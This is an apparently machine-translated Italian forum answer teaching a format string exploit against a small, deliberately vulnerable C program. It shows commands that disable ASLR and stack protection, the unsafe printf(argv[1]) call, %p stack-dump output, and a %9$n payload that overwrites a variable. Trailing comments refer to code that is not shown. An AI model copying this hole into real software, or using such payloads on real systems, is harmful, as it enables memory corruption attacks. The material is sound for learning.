Prima di tutto vi consiglio di leggere il libro Hacking: The Art of Exploitation
. È molto buono.
Ora provo a spiegare come è possibile sfruttare il proprio programma. Presumo che tu conosca alcune nozioni di base sugli exploit delle stringhe di formato, quindi non devo ricominciare dall'inizio. Tuttavia è importante disabilitare ASLR e compilare l'eseguibile senza protezione dello stack.
# disable ASLR
@> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# compile without stack protection
@> gcc -g -fno-stack-protector -z execstack fmt.c
ho modificato il programma un po ', così è più facile capire come l'exploit opere:
#include <stdio.h>
int num1 = 0xdead;
int main(int argc, char **argv){
int num2 = 0xbeef;
int *ptr = &num1;
printf(argv[1]);
if (num1 == 0xabc){
printf("Well done");
}
if(num2 == 0xdef)
printf("You are a format string expert");
printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2);
return 0;
}
sto usando un Ubunty sistema a 64 bit. La dimensione del puntatore è 8 byte.
l'exploit
variabile num1
Prima di tutto cerchiamo di cambiare la variabile num1
. L'indirizzo di num1
è memorizzato in ptr
. ptr
è una variabile locale in main, quindi viene messa in pila (tipo int *). Per esaminare lo stack possiamo usare l'identificatore di formato %p
.
@> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p
uscita:
0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040
[DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84]
Possiamo vedere che l'elemento 9 ha il valore 0x601040
. È lo stesso del valore nel nostro messaggio di debug num1: 0xdead [0x601040]
. Ora sappiamo che 0x601040
è il puntatore alla variabile num1 e si trova nello stack. Per modificare tale valore (scrivere in memoria), è possibile utilizzare l'identificatore di formato %n
in combinazione con l'accesso diretto ai parametri %9$n
per scrivere all'indirizzo memorizzato nella nona posizione di stack.
Per accedere al messaggio Complimenti abbiamo solo bisogno di scrivere 0xabc
valori stdout e utilizzare %n
di scrivere quel numero in memoria:
@> ./a.out `python -c "print('A' * 0xabc)"`%9\$n
Io uso python per generare tale uscita. Ora il programma stampa "Ben fatto".
num2 variabile
Se diamo uno sguardo da vicino all'uscita vediamo che l'elemento 8 ha il valore beef
. Questa è la nostra variabile num2
. Non ho ancora capito, come sfruttare lo num2
ma provo a spiegare come farlo in teoria. Vogliamo inserire un indirizzo di memoria arbitrario nello stack. Questo indirizzo deve essere l'indirizzo che punta a num2 (0x7fffffffde84
). Successivamente, possiamo usare il parametro %n
per scrivere su quell'indirizzo. Per mettere un indirizzo in pila possiamo usare la stringa di formato.
@> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"`
Il problema è che dobbiamo trovare la posizione di questa stringa di formato nello stack.
Le "A" e le "B" sono solo di riempimento ed è anche più facile trovare il nostro indirizzo nell'output. L'exploit è simile al modo in cui num1 exploit:
@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n
Il problema: Nel nostro scenario l'indirizzo del num2
è 0x7fffffffde84
(cioè 0x00007fffffffde84
). Quell'indirizzo non può essere scritto perché 0x00 è il C-String Terminator. Quindi non possiamo inserire l'indirizzo nella nostra stringa di formato.
compila anche? 'numb' ==> cosa? 'printf (argv [1]);' ==> cosa succede se 'NULL'? –
'if (numb = 4.56)' ha un errore di battitura. Hai bisogno di '=='. – Bathsheba
@Bathsheba prima di ciò, 'numb' dovrebbe essere definito [ok, minimo, dichiarato]. altrimenti, ** è [numb] (http://www.thefreedictionary.com/numb) **. –